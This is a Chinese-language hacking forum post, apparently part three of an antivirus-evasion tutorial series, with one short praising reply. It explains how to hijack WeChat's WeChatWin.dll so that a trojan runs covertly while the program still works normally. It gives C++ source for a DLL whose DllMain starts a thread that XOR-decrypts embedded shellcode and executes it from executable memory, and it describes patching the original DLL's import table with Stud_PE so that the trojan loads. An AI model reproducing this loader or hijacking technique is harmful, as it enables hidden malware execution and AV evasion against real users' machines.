資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|anzei.cn|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會(huì)員
查看: 1660|回復(fù): 1
打印 上一主題 下一主題

[免殺] 零基礎(chǔ)入門學(xué)免殺(三)

[復(fù)制鏈接]

5

主題

8

帖子

0

精華

新手上路

Rank: 1

資源幣
15
積分
20
貢獻(xiàn)
0
在線時(shí)間
2 小時(shí)
注冊時(shí)間
2020-2-21
最后登錄
2020-5-3
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2020-2-21 22:41:28 | 只看該作者 |只看大圖 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式

零基礎(chǔ)入門學(xué)免殺(三)

第三期在當(dāng)初寫第二期的時(shí)候我就想好了如何寫什么,雖然K總一直催我寫第三期,但是由于最近比較忙,一直在做 哎……. 所以額一直推到今天才開始寫。第三期呢我考慮的是劫持dll過后讓程序能夠正常運(yùn)行,達(dá)到更隱蔽的運(yùn)行木馬,由于朋友要求所以這次我拿的是微信來做的演示,制作期間遇到了很多問題,利用網(wǎng)上前輩的一些方法和工具行不通(可能是我太菜了),最后我下定決心以損失一次做*的時(shí)間為代價(jià)終于把它搞定了。下面我會(huì)提到我所遇到的問題,我個(gè)人不是很喜歡寫東西,所以這部分我不會(huì)詳細(xì)的說明,成功那一塊我會(huì)細(xì)說,B話不多說了,先上車吧。


查看可劫持DLL:
這一步老規(guī)矩,使用ProcessMonitor查看程序所加載的DLL,這次不需要第一個(gè)加載,隨便找一個(gè)加載的就行了,最好是當(dāng)前目錄






隨便找了一個(gè)WeChatWin.dll,接下來就用這個(gè)dll做劫持演示

失敗的例子1:

首先我想到的第一個(gè)思路是利用IDA查看WeChatWin.dll所有的函數(shù)類型,然后自己寫一個(gè)test.dll,把WeChatWin.dll所有的函數(shù)移到test.dll,之后再調(diào)用WeChatWin.dll相應(yīng)的函數(shù)。


可以看到有很多的函數(shù),并且我唯一會(huì)的F5大法失效了。函數(shù)太多也不可能挨著試,并且我們要還原每個(gè)函數(shù),工作量巨大。那么對于相對較懶的我來說這個(gè)方法行不通。PS:我這里貼一張腦圖吧,測試代碼我就不寫了。




腦圖中的WeChatWin.dll是自己寫的dll
test.dll為原來的WeChatWin.dll
假設(shè)function a 是wechat啟動(dòng)第一個(gè)調(diào)用的函數(shù),當(dāng)然你也可以加到其他函數(shù)里



失敗的例子2:
由于函數(shù)太多自己寫太麻煩,我想到了利用工具自動(dòng)化實(shí)現(xiàn)。我在網(wǎng)上找到了一款工具DLL_Hijacker,可以自動(dòng)生成C語言文件調(diào)用原dll的所有函數(shù)


源碼如圖




我隨便截取了一部分源碼,發(fā)現(xiàn)確實(shí)可以調(diào)用,但是有個(gè)問題 函數(shù)命名出現(xiàn)了@,編譯的時(shí)候會(huì)報(bào)錯(cuò),根據(jù)測試,只要是原dll的函數(shù)當(dāng)中帶有形參的都會(huì)出現(xiàn)@符號(hào),解決的方法就是用上面的辦法用IDA把帶有@的函數(shù)自己寫一遍。這里出現(xiàn)帶有@的函數(shù)太多顯然我不回去這么做,所以此路不通…….



柳暗花明又一村:
糾結(jié)了許久,我想到了以前玩劫持免殺遠(yuǎn)控的時(shí)候用到過的一個(gè)方法:給正常程序添加一個(gè)輸入表,可以用到這里。具體實(shí)現(xiàn)方法如下
一:新建一個(gè)執(zhí)行shellcode的dll
利用第一期里面的方法二,先給shellcode進(jìn)行加密,再解密運(yùn)行,這里需要注意三點(diǎn)

執(zhí)行shellcode的命令必須放在dll的主函數(shù)里“DllMain”

需要新建一個(gè)線程運(yùn)行shellcode

必須有一個(gè)導(dǎo)出函數(shù),函數(shù)里面的內(nèi)容隨意就好



代碼如下:

// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。

#include
"stdafx.h"

#include
<windows.h>

#include
<iostream>

#define
KEY
0x97

unsignedchar
shellcode[] =
"\x6b\x7f\x1e\x97\x97\..... "
;
//這里寫加密shellcode

HANDLE
My_hThread
= NULL;

DWORD  WINAPI  ceshi(LPVOID pParameter)

{

unsignedchar
c[
sizeof
(shellcode)];   
//獲取shellcode長度

for
(
int
i =
0
; i <
sizeof
(shellcode) -
1
; i++)

{

        c = shellcode ^ KEY;
//進(jìn)行解密

}

    LPVOID
Memory
=
VirtualAlloc
(NULL,
sizeof
(c), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);



    memcpy(
Memory
, c,
sizeof
(c));



((
void
(*)())
Memory
)();

return
0
;

}

BOOL APIENTRY
DllMain
( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

)

{



switch
(ul_reason_for_call)

{

case
DLL_PROCESS_ATTACH:
//初次調(diào)用dll的時(shí)候執(zhí)行下面的

My_hThread
= ::
CreateThread
(NULL,
0
, &ceshi,
0
,
0
,
0
);
//新建線程

break
;

case
DLL_THREAD_ATTACH:

case
DLL_THREAD_DETACH:

case
DLL_PROCESS_DETACH:

break
;

}

//ceshi();

return
TRUE;

}





extern
"C"
_declspec(dllexport)
void
test()

{

int
a;

    a =
0
;

}



這段代碼大概的意思就是 當(dāng)dll被調(diào)用的時(shí)候就執(zhí)行shellcode解密并且運(yùn)行,所以必須要一個(gè)新建一個(gè)導(dǎo)出函數(shù)才能夠調(diào)用

我用的是vs2017編譯的

編譯好之后我們先用loadpe看一下是否有輸入表



程序沒問題,接下來就是給WeChatWin.dll添加輸入表,這里需要用到的工具為Stud_PE 大家自行百度下載

操作步驟:打開Stud_PE-拖入WeChatWin.dll-點(diǎn)擊函數(shù)欄-右鍵添加新的輸入表-DLL選擇-選擇函數(shù)-添加清單-加入
之后把自己的dll放到WeChatWin.dll同目錄下運(yùn)行微信即可。





先測試一下靜態(tài)免殺效果:





動(dòng)態(tài)免殺效果:
運(yùn)行微信













回復(fù)

使用道具 舉報(bào)

0

主題

4

帖子

0

精華

新手上路

Rank: 1

資源幣
1
積分
4
貢獻(xiàn)
0
在線時(shí)間
0 小時(shí)
注冊時(shí)間
2020-5-6
最后登錄
2020-5-6
沙發(fā)
發(fā)表于 2020-5-6 17:44:36 | 只看該作者
優(yōu)秀啊,學(xué)習(xí)學(xué)習(xí)
 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號(hào)-1 )

GMT+8, 2024-10-23 04:58 , Processed in 0.037480 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表